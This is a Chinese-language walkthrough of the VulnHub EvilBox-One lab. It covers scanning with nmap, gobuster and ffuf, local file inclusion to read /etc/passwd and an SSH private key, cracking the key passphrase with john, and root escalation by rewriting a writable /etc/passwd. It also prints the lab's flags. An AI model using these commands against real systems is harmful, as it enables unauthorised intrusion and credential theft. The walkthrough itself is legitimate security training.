靶机地址
https://download.vulnhub.com/evilbox/EvilBox—One.ova
目标
取得 root 权限 + 2 Flag
攻击方法
- 主机发现
- 网络扫描
- 强制访问
- 参数爆破
- 文件包含
php://filter协议可以读取或写入文件 - PHP封装器
- 任意文件读取
- SSH公钥登录
- 离线密码破解
- 系统权限漏洞利用
工具
fping 目标发现
gobuster 文件路径扫描
ffuf 参数爆破
开始攻击
主机发现

使用fping -gaq 192.168.168.0/24

使用sudo nmap -p- 192.168.168.20端口发现

使用sudo nmap -p22,80 -A 192.168.168.20扫描应用版本,操作系统版本等
-A=-sV±sC±O

访问robots.txt

使用gobuster与dirsearch相似,但可做dns信息收集。
语句:gobuster dir -u http://192.168.168.20 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
-w 指定字典
-x 指定扫描文件类型


对子目录再进行爆破gobuster dir -u http://192.168.168.20/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp发现evil.php文件。

也是空白
参数爆破
使用ffuf来参数爆破,
创建val.txt文件将被作为参数值

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w ./val.txt:VAL -u http://192.168.168.20/evil.php?PARAM=VAL -fs 0
-fs 0 指返回为空不显示
执行后发现

发现command参数,语句为ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.168.20/secret/evil.php?FUZZ=../index.html -fs 0

发现使用command参数时可以执行命令
查看url发现是文件包含

文件包含利用
已知可以文件包含那么可以获取敏感文件的内容,访问http://192.168.168.20/secret/evil.php?command=../../../../../etc/passwd

这样就可以在本机构造webshell,通过文件包含让他引用我们的webshell,让我们可以执行命令。即尝试远程文件包含。
访问本机确认服务启动成功

尝试远程文件包含:http://192.168.168.20/secret/evil.php?command=http://192.168.168.21/index.html失败了,这样就需要尝试伪协议了。
这次我们使用php://filter协议:http://192.168.168.20/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php得到base64的文件内容。

默认情况下php://filter协议使用read方法读取文件,但其实php://filter协议也可以写入文件。http://192.168.168.20/secret/evil.php?command=php://filter/write/convert.base64-decode/resource=test.php&txt=PD9waHAK可惜执行失败
ssh爆破
复盘发现etc/passwd中存在用户mowree,猜测可能存在突破口。
使用ssh mowree@192.168.168.20 -v

发现可以使用公钥连接。
这样有几个方式:
- 可以先在自己的电脑上生成自己的公钥私钥对。发到目标机上。
- 找到目标用户在目标机上的公钥。
查看公钥访问:192.168.168.20/secret/evil.php?command=../../../../../home/mowree/.ssh/authorized_keys这是默认的ssh保存公钥的位置。

查看私钥访问:http://192.168.168.20/secret/evil.php?command=../../../../../home/mowree/.ssh/id_rsa这是默认的ssh保存私钥的位置。

这样这个账号的公私钥都获得了,可以直接使用私钥进行登录。ssh mowree@192.168.168.20 -i id_rsa

再次失败

这样就需要ssh密码爆破
使用hashcat、john等工具进行爆破
使用john自带脚本。

使用./ssh2john.py ~/Desktop/id_rsa > ~/hash将私钥转换可以看到生成了名为hash的文件
现在使用john ~/Desktop/hash --wordlist=rockyou.txt 进行爆破,得到私钥文件的密码为unicorn

成功登录

得到第一个flag:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ

提权
现在开始提权。

首先找到所有具有执行权限的文件find / -perm /4000 2>/dev/null
-perm 文件的权限位正是模式(八进制或符号)。由于需要一个精确的匹配,如果您希望将此表单用于符号模式,那么可能必须规范化一个相当复杂的模式字符串。例如,‘-perm g = w’将只匹配模式为0020的文件(也就是说,组写权限是唯一的权限集)。更有可能的情况是,您希望使用‘/’或‘-’表单,例如‘-perm-g = w’,它与任何具有组写权限的文件匹配。请参阅示例部分以获得一些说明性示例。
2>/dev/null 将报错屏蔽

发现没有什么可利用点,于是考虑找可写文件改写文件内容。find / -writable 2>/dev/null |grep -v proc|grep -v home|grep -v sys|grep -v run
grep -v xxx 过滤输出中含xxx的字段

分析后发现我们对/etc/passwd文件可写。
对etc/passwd文件利用
目前,linux系统将密码和账号分开存放,密码位于/etc/shadow,并使用x占位。

那么我们可以将x替换为密码,当x处为密码时则shadow文件不起作用。
生成密码的密文
使用openssl生成密码的密文openssl passwd -1,这里设置root的密码为toor。

如图提权成功,得到root文件下的第二个flag。
36QtXfdJWvdC0VavlPIApUbDlqTsBM

本文详细记录了一次针对EvilBox靶机的渗透测试过程,包括主机发现、参数爆破、文件包含漏洞利用、SSH爆破及提权。通过网络扫描、gobuster、ffuf等工具,发现了能够执行命令的PHP文件,并利用php://filter协议读取和写入文件。在SSH爆破中,获取了用户mowree的公私钥,但未能直接登录。最终通过密码爆破得到密码,以mowree身份登录,并提权获取root权限,找到两个Flag。
1058

被折叠的 条评论
为什么被折叠?



